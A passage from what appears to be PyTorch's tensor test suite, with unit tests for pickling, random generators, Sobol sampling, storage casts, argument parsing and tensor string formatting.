torch.empty(*orig).fill_(0) new = [i - 1 for i in x.permute(*perm).size()] self.assertEqual(perm, new) self.assertEqual(x.size(), orig) def test_reversed(self): val = torch.arange(0, 10) self.assertEqual(reversed(val), torch.arange(9, -1, -1)) val = torch.arange(1, 10).view(3, 3) self.assertEqual(reversed(val), torch.tensor([[7, 8, 9], [4, 5, 6], [1, 2, 3]])) val = torch.tensor(42) self.assertEqual(reversed(val), torch.tensor(42)) def test_contains(self): x = torch.arange(0, 10) self.assertEqual(4 in x, True) self.assertEqual(12 in x, False) x = torch.arange(1, 10).view(3, 3) val = torch.arange(1, 4) self.assertEqual(val in x, True) val += 10 self.assertEqual(val in x, False) self.assertRaisesRegex( RuntimeError, "Tensor.__contains__ only supports Tensor or scalar, but you passed in a {}.".format(type("foo")), lambda: "foo" in x) self.assertRaisesRegex( RuntimeError, "Tensor.__contains__ only supports Tensor or scalar, but you passed in a {}.".format(type([1, 2])), lambda: [1, 2] in x) def test_deepcopy_parameter(self): from copy import deepcopy l = torch.nn.Linear(10, 1) s = l.state_dict(keep_vars=True) self.assertEqual(torch.nn.Parameter, type(s['weight'])) self.assertEqual(torch.nn.Parameter, type(s['bias'])) s2 = deepcopy(s) self.assertEqual(torch.nn.Parameter, type(s2['weight'])) self.assertEqual(torch.nn.Parameter, type(s2['bias'])) def test_pickle(self): import pickle a = torch.randn(5, 5) serialized = pickle.dumps(a) b = pickle.loads(serialized) self.assertEqual(a, b) def test_pickle_parameter(self): import pickle a = torch.nn.Parameter(torch.randn(5, 5)) serialized = pickle.dumps(a) b = pickle.loads(serialized) self.assertTrue(isinstance(b, torch.nn.Parameter)) self.assertEqual(a.requires_grad, b.requires_grad) self.assertEqual(a, b) def test_pickle_parameter_no_requires_grad(self): import pickle a = torch.nn.Parameter(torch.randn(5, 5), requires_grad=False) serialized = pickle.dumps(a) b = pickle.loads(serialized) self.assertTrue(isinstance(b, torch.nn.Parameter)) self.assertEqual(a.requires_grad, b.requires_grad) self.assertEqual(a, b) def test_pickle_dtype(self): t = torch.float32 serialized = pickle.dumps(t) b = pickle.loads(serialized) self.assertTrue(isinstance(b, torch.dtype)) self.assertEqual(id(b), id(t)) def test_pickle_size(self): a = torch.rand(10).size() serialized = pickle.dumps(a) b = pickle.loads(serialized) self.assertTrue(isinstance(b, torch.Size)) self.assertEqual(a, b) def test_pickle_function(self): # https://github.com/pytorch/pytorch/issues/37703 a = torch.tanh serialized = pickle.dumps(a) b = pickle.loads(serialized) self.assertEqual(a, b) def test_generator_cpu(self): # test default generators are equal self.assertEqual(torch.default_generator, torch.default_generator) # tests Generator API # manual_seed, seed, initial_seed, get_state, set_state g1 = torch.Generator() g2 = torch.Generator() g1.manual_seed(12345) g2.manual_seed(12345) self.assertEqual(g1.initial_seed(), g2.initial_seed()) g1.seed() g2.seed() self.assertNotEqual(g1.initial_seed(), g2.initial_seed()) g1 = torch.Generator() g2_state = g2.get_state() g2_randn = torch.randn(1, generator=g2) g1.set_state(g2_state) g1_randn = torch.randn(1, generator=g1) self.assertEqual(g1_randn, g2_randn) default_state = torch.default_generator.get_state() q = torch.empty(100) g1_normal = q.normal_() g2 = torch.Generator() g2.set_state(default_state) g2_normal = q.normal_(generator=g2) self.assertEqual(g1_normal, g2_normal) def test_invalid_generator_raises(self): self.assertRaises(RuntimeError, lambda: torch.Generator('opengl')) def _sobol_reference_samples(self, scramble: bool) -> torch.Tensor: if not scramble: # theoretical values from Joe Kuo 2010 return torch.tensor( [ [0., 0.], [0.5, 0.5], [0.75, 0.25], [0.25, 0.75], [0.375, 0.375], [0.875, 0.875], [0.625, 0.125], [0.125, 0.625], ], ) else: # theoretical values unknown: convergence properties checked return torch.tensor( [ [0.50860737, 0.29320504], [0.07116939, 0.89594537], [0.49354145, 0.11524881], [0.93097717, 0.70244044], [0.87266153, 0.23887917], [0.31021884, 0.57600391], [0.13687253, 0.42054182], [0.69931293, 0.77336788], ], ) def test_sobolengine_bounds(self, scramble: bool = False): engine = torch.quasirandom.SobolEngine(100, scramble=scramble, seed=123456) sample = engine.draw(512) self.assertTrue(torch.all(sample >= 0)) self.assertTrue(torch.all(sample <= 1)) def test_sobolengine_bounds_scrambled(self): self.test_sobolengine_bounds(scramble=True) def test_sobolengine_draw(self, scramble: bool = False): ref_sample = self._sobol_reference_samples(scramble=scramble) engine = torch.quasirandom.SobolEngine(2, scramble=scramble, seed=123456) sample = engine.draw(n=len(ref_sample)) self.assertEqual(sample, ref_sample) self.assertEqual(engine.num_generated, len(ref_sample)) def test_sobolengine_draw_scrambled(self): self.test_sobolengine_draw(scramble=True) def test_sobolengine_first_point(self): for dtype in (torch.float, torch.double): engine = torch.quasirandom.SobolEngine(2, scramble=False) sample = engine.draw(1, dtype=dtype) self.assertTrue(torch.all(sample == 0)) self.assertEqual(sample.dtype, dtype) for dtype in (torch.float, torch.double): engine = torch.quasirandom.SobolEngine(2, scramble=True, seed=123456) sample = engine.draw(1, dtype=dtype) self.assertTrue(torch.all(sample != 0)) self.assertEqual(sample.dtype, dtype) def test_sobolengine_continuing(self, scramble: bool = False): ref_sample = self._sobol_reference_samples(scramble=scramble) engine = torch.quasirandom.SobolEngine(2, scramble=scramble, seed=123456) n_half = len(ref_sample) // 2 _ = engine.draw(n=n_half) sample = engine.draw(n=n_half) torch.testing.assert_close(sample, ref_sample[n_half:]) def test_sobolengine_continuing_scrambled(self): self.test_sobolengine_continuing(scramble=True) def test_sobolengine_reset(self, scramble: bool = False): ref_sample = self._sobol_reference_samples(scramble=scramble) engine = torch.quasirandom.SobolEngine(2, scramble=scramble, seed=123456) _ = engine.draw(n=len(ref_sample) // 2) engine.reset() self.assertEqual(engine.num_generated, 0) sample = engine.draw(n=len(ref_sample)) torch.testing.assert_close(sample, ref_sample) def test_sobolengine_reset_scrambled(self): self.test_sobolengine_reset(scramble=True) def test_sobolengine_fast_forward(self, scramble: bool = False): ref_sample = self._sobol_reference_samples(scramble=scramble) engine = torch.quasirandom.SobolEngine(2, scramble=scramble, seed=123456) engine.fast_forward(4) sample = engine.draw(n=4) torch.testing.assert_close(sample, ref_sample[4:]) # alternate fast forwarding with sampling engine.reset() even_draws = [] for i in range(8): if i % 2 == 0: even_draws.append(engine.draw()) else: engine.fast_forward(1) torch.testing.assert_close( ref_sample[[i for i in range(8) if i % 2 == 0]], torch.from_numpy(np.concatenate(even_draws)), ) def test_sobolengine_fast_forward_scrambled(self): self.test_sobolengine_fast_forward(scramble=True) def test_sobolengine_distribution(self, scramble=False): d = 50 engine = torch.quasirandom.SobolEngine(d, scramble=scramble, seed=123456) sample = engine.draw(1024) torch.testing.assert_close( torch.mean(sample, dim=0), torch.full((d,), 0.5), atol=2, rtol=2 ) torch.testing.assert_close( np.percentile(sample, 25, axis=0), np.repeat(0.25, d), atol=2, rtol=2 ) torch.testing.assert_close( np.percentile(sample, 75, axis=0), np.repeat(0.75, d), atol=2, rtol=2 ) def test_sobolengine_distribution_scrambled(self): self.test_sobolengine_distribution(scramble=True) def test_sobolengine_draw_base2(self, scramble=False): ref_sample = self._sobol_reference_samples(scramble=scramble) engine = torch.quasirandom.SobolEngine(2, scramble=scramble, seed=123456) sample = engine.draw_base2(2) self.assertEqual(ref_sample[:4], sample) # resampling still having N=2**n sample = engine.draw_base2(2) self.assertEqual(ref_sample[4:8], sample) def test_sobolengine_draw_base2_scrambled(self): self.test_sobolengine_draw_base2(scramble=True) def test_sobolengine_raise(self): maxdim = torch.quasirandom.SobolEngine.MAXDIM with self.assertRaises(ValueError): torch.quasirandom.SobolEngine(maxdim + 1) def test_sobolengine_high_dim(self): engine = torch.quasirandom.SobolEngine(1111, scramble=False, seed=123456) samples1 = engine.draw() vals1, counts1 = torch.unique(samples1, return_counts=True) samples2 = engine.draw() vals2, counts2 = torch.unique(samples2, return_counts=True) self.assertEqual(vals1.item(), 0.0) self.assertEqual(counts1.item(), 1111) self.assertEqual(vals2.item(), 0.5) self.assertEqual(counts1.item(), 1111) def test_parsing_int64(self): # accepts integer arguments x = torch.cumsum(torch.ones(5, 5), 0) self.assertEqual(x, torch.cumsum(torch.ones(5, 5), torch.tensor(0))) # doesn't accept floating point variables self.assertRaises(TypeError, lambda: torch.cumsum(torch.ones(5, 5), torch.tensor(0.))) def test_parsing_double(self): # accepts floating point and integer arguments x = torch.randn(2, 3) torch.isclose(x, x, 1, 1) self.assertTrue(torch.isclose(x, x, 1, 1).all()) self.assertTrue(torch.isclose(x, x, 1.5, 1.).all()) # accepts floating point and integer tensors self.assertTrue(torch.isclose(x, x, torch.tensor(1), torch.tensor(1)).all()) self.assertTrue(torch.isclose(x, x, torch.tensor(1.5), torch.tensor(1.)).all()) # doesn't accept variables with requires_grad self.assertRaises(TypeError, lambda: torch.isclose(x, x, torch.tensor(1.5), torch.tensor(1., requires_grad=True)).all()) def test_parsing_intlist(self): # parse with integer variables self.assertEqual(torch.Size([3, 4]), torch.ones((torch.tensor(3), torch.tensor(4))).shape) self.assertEqual(torch.Size([3, 4]), torch.ones(torch.tensor(3), torch.tensor(4)).shape) # parse with numpy integers self.assertEqual(torch.Size([3, 4]), torch.ones((np.array(3), np.int64(4))).shape) self.assertEqual(torch.Size([3, 4]), torch.ones(np.array(3), np.int64(4)).shape) self.assertEqual(torch.Size([3, 4]), torch.ones((np.int64(3), np.array(4))).shape) self.assertEqual(torch.Size([3, 4]), torch.ones(np.int64(3), np.array(4)).shape) # fail parse with float variables self.assertRaises(TypeError, lambda: torch.ones((torch.tensor(3.), torch.tensor(4)))) # fail parse with numpy floats self.assertRaises(TypeError, lambda: torch.ones((np.float(3.), torch.tensor(4)))) self.assertRaises(TypeError, lambda: torch.ones((np.array(3.), torch.tensor(4)))) # fail parse with > 1 element variables self.assertRaises(TypeError, lambda: torch.ones(torch.tensor(3, 3))) self.assertRaises(TypeError, lambda: torch.ones((torch.tensor(3, 3)))) self.assertRaises(TypeError, lambda: torch.ones(np.array(3, 3))) self.assertRaises(TypeError, lambda: torch.ones((np.array(3, 3)))) # fail parse with additional positional args after intlist arg self.assertRaisesRegex(TypeError, "received an invalid combination of arguments", lambda: torch.LongTensor((6, 0), 1, 1, 0)) self.assertRaisesRegex(TypeError, "missing 1 required positional arguments", lambda: torch.tensor().new_zeros((5, 5), 0)) def test_half_tensor(self): devices = ["cpu"] if torch.cuda.is_available(): devices.append("cuda") # contiguous tensor # non-contiguous tensor # dense non-overlapping tensor # non-dense non-overlapping sliced tensor # non-dense overlapping equal strides for device in devices: tset = ( torch.randn(4, 3, 2, device=device, dtype=torch.float).contiguous(), torch.randn(4, 3, 2, device=device, dtype=torch.float).transpose(0, 1), torch.randn(4, 3, 2, device=device, dtype=torch.float), torch.randn(4, 3, 2, device=device, dtype=torch.float)[:, :, ::2], torch.empty_strided( (4, 2, 3), (10, 3, 3), device=device, dtype=torch.float ).copy_(torch.rand((4, 2, 3), dtype=torch.float, device=device)), ) for x in tset: self.assertEqual(x.half().float(), x, atol=1e-3, rtol=0) xh = x.half() with tempfile.NamedTemporaryFile() as f: torch.save(xh, f) f.seek(0) xh2 = torch.load(f) self.assertEqual(xh.float(), xh2.float()) def test_from_buffer(self): a = bytearray([1, 2, 3, 4]) self.assertEqual(torch.ByteStorage.from_buffer(a).tolist(), [1, 2, 3, 4]) shorts = torch.ShortStorage.from_buffer(a, 'big') self.assertEqual(shorts.size(), 2) self.assertEqual(shorts.tolist(), [258, 772]) ints = torch.IntStorage.from_buffer(a, 'little') self.assertEqual(ints.size(), 1) self.assertEqual(ints[0], 67305985) f = bytearray([0x40, 0x10, 0x00, 0x00]) floats = torch.FloatStorage.from_buffer(f, 'big') self.assertEqual(floats.size(), 1) self.assertEqual(floats[0], 2.25) f = bytearray([0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x10, 0x40]) bools = torch.BoolStorage.from_buffer(f, 'big') self.assertEqual(bools.size(), 8) self.assertEqual(bools.tolist(), [False, True, True, True, True, True, True, True]) self.assertEqual(bools.type(), 'torch.BoolStorage') f = bytearray(b'\x80\x02\x8a\nl\xfc\x9cF\xf9 j\xa8P\x19.\x80\x02M\xe9') bools = torch.BoolStorage.from_buffer(f, 'big') self.assertEqual(bools.size(), 19) f = bytearray(b'\0x4A') bools = torch.BoolStorage.from_buffer(f, 'big') self.assertEqual(bools.size(), 4) self.assertEqual(bools.tolist(), [False, True, True, True]) def test_storage_casts(self): storage = torch.IntStorage([-1, 0, 1, 2, 3, 4]) self.assertEqual(storage.size(), 6) self.assertEqual(storage.tolist(), [-1, 0, 1, 2, 3, 4]) self.assertEqual(storage.type(), 'torch.IntStorage') self.assertIs(storage.dtype, torch.int32) floatStorage = storage.float() self.assertEqual(floatStorage.size(), 6) self.assertEqual(floatStorage.tolist(), [-1, 0, 1, 2, 3, 4]) self.assertEqual(floatStorage.type(), 'torch.FloatStorage') self.assertEqual(floatStorage.int().tolist(), [-1, 0, 1, 2, 3, 4]) self.assertIs(floatStorage.dtype, torch.float32) halfStorage = storage.half() self.assertEqual(halfStorage.size(), 6) self.assertEqual(halfStorage.tolist(), [-1, 0, 1, 2, 3, 4]) self.assertEqual(halfStorage.type(), 'torch.HalfStorage') self.assertEqual(halfStorage.int().tolist(), [-1, 0, 1, 2, 3, 4]) self.assertIs(halfStorage.dtype, torch.float16) bfloat16Storage = storage.bfloat16() self.assertEqual(bfloat16Storage.size(), 6) self.assertEqual(bfloat16Storage.tolist(), [-1, 0, 1, 2, 3, 4]) self.assertEqual(bfloat16Storage.type(), 'torch.BFloat16Storage') self.assertEqual(bfloat16Storage.int().tolist(), [-1, 0, 1, 2, 3, 4]) self.assertIs(bfloat16Storage.dtype, torch.bfloat16) longStorage = storage.long() self.assertEqual(longStorage.size(), 6) self.assertEqual(longStorage.tolist(), [-1, 0, 1, 2, 3, 4]) self.assertEqual(longStorage.type(), 'torch.LongStorage') self.assertEqual(longStorage.int().tolist(), [-1, 0, 1, 2, 3, 4]) self.assertIs(longStorage.dtype, torch.int64) shortStorage = storage.short() self.assertEqual(shortStorage.size(), 6) self.assertEqual(shortStorage.tolist(), [-1, 0, 1, 2, 3, 4]) self.assertEqual(shortStorage.type(), 'torch.ShortStorage') self.assertEqual(shortStorage.int().tolist(), [-1, 0, 1, 2, 3, 4]) self.assertIs(shortStorage.dtype, torch.int16) doubleStorage = storage.double() self.assertEqual(doubleStorage.size(), 6) self.assertEqual(doubleStorage.tolist(), [-1.0, 0.0, 1.0, 2.0, 3.0, 4.0]) self.assertEqual(doubleStorage.type(), 'torch.DoubleStorage') self.assertEqual(doubleStorage.int().tolist(), [-1, 0, 1, 2, 3, 4]) self.assertIs(doubleStorage.dtype, torch.float64) charStorage = storage.char() self.assertEqual(charStorage.size(), 6) self.assertEqual(charStorage.tolist(), [-1.0, 0.0, 1.0, 2.0, 3.0, 4.0]) self.assertEqual(charStorage.type(), 'torch.CharStorage') self.assertEqual(charStorage.int().tolist(), [-1, 0, 1, 2, 3, 4]) self.assertIs(charStorage.dtype, torch.int8) byteStorage = storage.byte() self.assertEqual(byteStorage.size(), 6) self.assertEqual(byteStorage.tolist(), [255, 0, 1, 2, 3, 4]) self.assertEqual(byteStorage.type(), 'torch.ByteStorage') self.assertEqual(byteStorage.int().tolist(), [255, 0, 1, 2, 3, 4]) self.assertIs(byteStorage.dtype, torch.uint8) boolStorage = storage.bool() self.assertEqual(boolStorage.size(), 6) self.assertEqual(boolStorage.tolist(), [True, False, True, True, True, True]) self.assertEqual(boolStorage.type(), 'torch.BoolStorage') self.assertEqual(boolStorage.int().tolist(), [1, 0, 1, 1, 1, 1]) self.assertIs(boolStorage.dtype, torch.bool) complexfloat_storage = torch.ComplexFloatStorage([-1, 0, 1 + 2j, 2.5j, 3.5, 4 - 2j]) self.assertEqual(complexfloat_storage.size(), 6) self.assertEqual(complexfloat_storage.tolist(), [-1, 0, 1 + 2j, 2.5j, 3.5, 4 - 2j]) self.assertEqual(complexfloat_storage.type(), 'torch.ComplexFloatStorage') self.assertIs(complexfloat_storage.dtype, torch.complex64) complexdouble_storage = complexfloat_storage.complex_double() self.assertEqual(complexdouble_storage.size(), 6) self.assertEqual(complexdouble_storage.tolist(), [-1, 0, 1 + 2j, 2.5j, 3.5, 4 - 2j]) self.assertEqual(complexdouble_storage.type(), 'torch.ComplexDoubleStorage') self.assertIs(complexdouble_storage.dtype, torch.complex128) def test_from_file(self): def assert_with_filename(filename): size = 10000 s1 = torch.FloatStorage.from_file(filename, True, size) t1 = torch.FloatTensor(s1).copy_(torch.randn(size)) # check mapping s2 = torch.FloatStorage.from_file(filename, True, size) t2 = torch.FloatTensor(s2) self.assertEqual(t1, t2, atol=0, rtol=0) # check changes to t1 from t2 rnum = random.uniform(-1, 1) t1.fill_(rnum) self.assertEqual(t1, t2, atol=0, rtol=0) # check changes to t2 from t1 rnum = random.uniform(-1, 1) t2.fill_(rnum) self.assertEqual(t1, t2, atol=0, rtol=0) # release the tensors del s1, t1, s2, t2 with TemporaryFileName() as fname: assert_with_filename(fname) if IS_FILESYSTEM_UTF8_ENCODING: with TemporaryDirectoryName(suffix='中文') as dname, TemporaryFileName(dir=dname) as fname: assert_with_filename(fname) def test_torch_from_file(self): def assert_with_filename(filename): size = 10000 s1 = torch.from_file(filename, True, size, dtype=torch.float) t1 = torch.FloatTensor(s1).copy_(torch.randn(size)) # check mapping s2 = torch.from_file(filename, True, size, dtype=torch.float) t2 = torch.FloatTensor(s2) self.assertEqual(t1, t2, atol=0, rtol=0) # check changes to t1 from t2 rnum = random.uniform(-1, 1) t1.fill_(rnum) self.assertEqual(t1, t2, atol=0, rtol=0) # check changes to t2 from t1 rnum = random.uniform(-1, 1) t2.fill_(rnum) self.assertEqual(t1, t2, atol=0, rtol=0) # release the tensors del s1, t1, s2, t2 with TemporaryFileName() as fname: assert_with_filename(fname) if IS_FILESYSTEM_UTF8_ENCODING: with TemporaryDirectoryName(suffix='中文') as dname, TemporaryFileName(dir=dname) as fname: assert_with_filename(fname) def test_print(self): default_type = torch.tensor([]).type() for t in torch._tensor_classes: if t == torch.HalfTensor: continue # HalfTensor does not support fill if t.is_sparse: continue if t.is_cuda and not torch.cuda.is_available(): continue obj = t(100, 100).fill_(1) obj.__repr__() str(obj) # test half tensor obj = torch.rand(100, 100, device='cpu').half() obj.__repr__() str(obj) for t in torch._storage_classes: if t == torch.BFloat16Storage: continue # Fix once fill is enabled for bfloat16 if t.is_cuda and not torch.cuda.is_available(): continue if t == torch.BoolStorage or t == torch.cuda.BoolStorage: obj = t(100).fill_(True) else: obj = t(100).fill_(1) obj.__repr__() str(obj) # test complex tensor # complex tensor print uses two formatters, one for real values # and the other for imag values. this is consistent with numpy x = torch.tensor([2.3 + 4j, 7 + 6j]) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([2.3000+4.j, 7.0000+6.j])''') # test scientific notation for complex tensors x = torch.tensor([1e28 + 2j , -1e-28j]) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([1.0000e+28+2.0000e+00j, -0.0000e+00-1.0000e-28j])''') # test big integer x = torch.tensor(2341234123412341) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor(2341234123412341)''') # test scientific notation x = torch.tensor([1e28, 1e-28]) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([1.0000e+28, 1.0000e-28])''') # test scientific notation using set_printoptions x = torch.tensor([1e2, 1e-2]) torch.set_printoptions(sci_mode=True) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([1.0000e+02, 1.0000e-02])''') torch.set_printoptions(sci_mode=False) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([ 100.0000, 0.0100])''') torch.set_printoptions(sci_mode=None) # reset to the default value # test no leading space if all elements positive x = torch.tensor([1, 2]) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([1, 2])''') # test for leading space if there are negative elements x = torch.tensor([1, -2]) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([ 1, -2])''') # test inf and nan x = torch.tensor([4, inf, 1.5, -inf, 0, nan, 1]) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([4.0000, inf, 1.5000, -inf, 0.0000, nan, 1.0000])''') y = torch.tensor([4, inf, complex(1.5, inf), complex(-inf, 4), 0, complex(nan, inf), complex(3, nan)]) self.assertEqual(y.__repr__(), str(y)) expected_str = '''\ tensor([4.0000+0.j, inf+0.j, 1.5000+infj, -inf+4.j, 0.0000+0.j, nan+infj, 3.0000+nanj])''' self.assertExpectedInline(str(y), expected_str) # test dtype torch.set_default_dtype(torch.float) x = torch.tensor([1e-324, 1e-323, 1e-322, 1e307, 1e308, 1e309], dtype=torch.float64) self.assertEqual(x.__repr__(), str(x)) expected_str = '''\ tensor([ 0.0000e+00, 9.8813e-324, 9.8813e-323, 1.0000e+307, 1.0000e+308, inf], dtype=torch.float64)''' self.assertExpectedInline(str(x), expected_str) # test changing default dtype torch.set_default_dtype(torch.float64) self.assertEqual(x.__repr__(), str(x)) expected_str = '''\ tensor([ 0.0000e+00, 9.8813e-324, 9.8813e-323, 1.0000e+307, 1.0000e+308, inf])''' self.assertExpectedInline(str(x), expected_str) # test summary x = torch.zeros(10000) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([0., 0., 0., ..., 0., 0., 0.])''') # test internal summary function x = torch.rand(1, 20, 5, 30) summary = torch._tensor_str.get_summarized_data(x) self.assertEqual(summary.shape, (1, 6, 5, 6)) first_and_last = [0, 1, 2, -3, -2, -1] self.assertEqual(summary, x[:, first_and_last][..., first_and_last]) # test device if torch.cuda.is_available(): x = torch.tensor([123], device='cuda:0') self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([123], device='cuda:0')''') # test changing default to cuda torch.set_default_tensor_type(torch.cuda.FloatTensor) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([123])''') # test printing a tensor on a different gpu than current one. if torch.cuda.device_count() >= 2: with torch.cuda.device(1): self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([123], device='cuda:0')''') # test printing cpu tensor when default device is cuda y = torch.tensor([123], device='cpu') self.assertEqual(y.__repr__(), str(y)) self.assertExpectedInline(str(y), '''tensor([123], device='cpu')''') torch.set_default_tensor_type(default_type) # test integral floats and requires_grad x = torch.tensor([123.], requires_grad=True) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([123.], requires_grad=True)''') # test non-contiguous print # sliced tensor should have > PRINT_OPTS.threshold elements x = torch.ones(100, 2, 2, 10) y = x.as_strided(size=(100, 2, 10), stride=(2 * 2 * 10, 2 * 10, 1)) self.assertEqual(str(y), y.__repr__()) expected_str = '''\ tensor([[[1., 1., 1., ..., 1., 1., 1.], [1., 1., 1., ..., 1., 1., 1.]], [[1., 1., 1., ..., 1., 1., 1.], [1., 1., 1., ..., 1., 1., 1.]], [[1., 1., 1., ..., 1., 1., 1.], [1., 1., 1., ..., 1., 1., 1.]], ..., [[1., 1., 1., ..., 1., 1., 1.], [1., 1., 1., ..., 1., 1., 1.]], [[1., 1., 1., ..., 1., 1., 1.], [1., 1., 1., ..., 1., 1., 1.]], [[1., 1., 1., ..., 1., 1., 1.], [1., 1., 1., ..., 1., 1., 1.]]])\ ''' self.assertExpectedInline(str(y), expected_str) x = torch.ones(100, 2, 2, 10) * (1 + 1j) y = x.as_strided(size=(100, 2, 10), stride=(2 * 2 * 10, 2 * 10, 1)) self.assertEqual(str(y), y.__repr__()) expected_str = '''\ tensor([[[1.+1.j, 1.+1.j, 1.+1.j, ..., 1.+1.j, 1.+1.j, 1.+1.j], [1.+1.j, 1.+1.j, 1.+1.j, ..., 1.+1.j, 1.+1.j, 1.+1.j]], [[1.+1.j, 1.+1.j, 1.+1.j, ..., 1.+1.j, 1.+1.j, 1.+1.j], [1.+1.j, 1.+1.j, 1.+1.j, ..., 1.+1.j, 1.+1.j, 1.+1.j]], [[1.+1.j, 1.+1.j, 1.+1.j, ..., 1.+1.j, 1.+1.j, 1.+1.j], [1.+1.j, 1.+1.j, 1.+1.j, ..., 1.+1.j, 1.+1.j, 1.+1.j]], ..., [[1.+1.j, 1.+1.j, 1.+1.j, ..., 1.+1.j, 1.+1.j, 1.+1.j], [1.+1.j, 1.+1.j, 1.+1.j, ..., 1.+1.j, 1.+1.j, 1.+1.j]], [[1.+1.j, 1.+1.j, 1.+1.j, ..., 1.+1.j, 1.+1.j, 1.+1.j], [1.+1.j, 1.+1.j, 1.+1.j, ..., 1.+1.j, 1.+1.j, 1.+1.j]], [[1.+1.j, 1.+1.j, 1.+1.j, ..., 1.+1.j, 1.+1.j, 1.+1.j], [1.+1.j, 1.+1.j, 1.+1.j, ..., 1.+1.j, 1.+1.j, 1.+1.j]]])\ ''' self.assertExpectedInline(str(y), expected_str) # test print 0-dim tensor: there's no 0-dim in Numpy, we match arrayprint style x = torch.tensor(0.00002) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor(2.0000e-05)''') # test print boolean tensor x = torch.tensor([True]) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([True])''') x = torch.tensor(True) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor(True)''') # [Numpy] test print float in sci_mode when min < 0.0001. x = torch.tensor([0.00002]) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([2.0000e-05])''') # [Numpy] test print complex in sci_mode when real_min < 0.0001 and (or) imag_min < 0.0001. x = torch.tensor([0.00002]) * (1 + 1j) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([2.0000e-05+2.0000e-05j])''') # [Numpy] test print float in sci_mode when max > 1e8. # TODO: Pytorch uses fixed precision to print, while Numpy uses dragon4_scientific # to do automatic trimming and padding. x = torch.tensor([123456789.]) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([1.2346e+08])''') # [Numpy] test print float in sci_mode when max / min > 1000. x = torch.tensor([0.01, 11]) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([1.0000e-02, 1.1000e+01])''') # [Numpy] test print int max / min > 1000, no sci_mode x = torch.tensor([1, 1010]) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([ 1, 1010])''') # [Numpy] test print int > 1e8, no sci_mode x = torch.tensor([1000000000]) # 1e9 self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([1000000000])''') # [Numpy] test printing float in int_mode x = torch.tensor([1., 1000.]) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([ 1., 1000.])''') # [Numpy] test printing float in int_mode in sci format when max / min > 1000. x = torch.tensor([1., 1010.]) self.assertEqual(x.__repr__(), str(x)) self.assertExpectedInline(str(x), '''tensor([1.0000e+00, 1.0100e+03])''') def test_sizeof(self) -> None: sizeof_empty = torch.randn(0).storage().__sizeof__() sizeof_10 = torch.randn(10).storage().__sizeof__() sizeof_100 = torch.randn(100).storage().__sizeof__() self.assertEqual((sizeof_100 - sizeof_empty) // (sizeof_10 - sizeof_empty), 10) self.assertEqual((sizeof_100 - sizeof_empty) % (sizeof_10 - sizeof_empty), 0) sizeof_empty = torch.randn(0).to(torch.uint8).storage().__sizeof__() sizeof_10 = torch.randn(10).to(torch.uint8).storage().__sizeof__() sizeof_100 = torch.randn(100).to(torch.uint8).storage().__sizeof__() self.assertEqual((sizeof_100 - sizeof_empty) // (sizeof_10 - sizeof_empty), 10) self.assertEqual((sizeof_100 - sizeof_empty) % (sizeof_10 - sizeof_empty), 0) def test_iter(self) -> None: x = torch.randn(5, 5) for i, sub in enumerate(x): self.assertEqual(sub, x[i]) x = torch.tensor([]) self.assertEqual(list(x), []) def test_assertEqual(self) -> None: x = torch.FloatTensor([0]) self.assertEqual(x, 0) xv = torch.autograd.Variable(x) self.assertEqual(xv, 0) self.assertEqual(x, xv) self.assertEqual(xv, x) # Tests that setting atol or rtol without the other throws self.assertRaises(AssertionError, lambda: self.assertEqual(x, xv, atol=4)) self.assertRaises(AssertionError, lambda: self.assertEqual(x, xv, rtol=4)) self.assertRaisesRegex(TypeError, "takes from 3 to 4 positional arguments", lambda: self.assertEqual(x, xv, "", 1.0)) # type: ignore[misc] def test_new(self) -> None: x = torch.autograd.Variable(torch.tensor([])) y = torch.autograd.Variable(torch.randn(4, 4)) z = torch.autograd.Variable(torch.IntTensor([1, 2, 3])) self.assertEqual(x.new().shape, [0]) self.assertEqual(x.new(), x) self.assertEqual(x.new(1, 2).shape, [1, 2]) self.assertEqual(x.new(torch.Size([3, 4])).shape, [3, 4]) self.assertEqual(x.new([3, 4]).shape, [2]) self.assertEqual(x.new([3, 4]).tolist(), [3, 4]) self.assertEqual(x.new((3, 4)).tolist(), [3, 4]) self.assertEqual(x.new([np.int32(3), np.float64(4)]).tolist(), [3, 4]) self.assertEqual(x.new(np.array((3, 4))).tolist(), [3, 4]) self.assertEqual(x.new([z[2], z[0] + 3]).tolist(), [3, 4]) self.assertEqual(x.new(size=(3, 4)).shape, [3, 4]) self.assertEqual(x.new(()).shape, [0]) self.assertEqual(x.new(y.storage()).data_ptr(), y.data_ptr()) self.assertEqual(x.new(y).data_ptr(), y.data_ptr()) self.assertIsNot(x.new(y), y) self.assertRaises(TypeError, lambda: x.new(z)) # TypeError would be better self.assertRaises(RuntimeError, lambda: x.new(z.storage())) 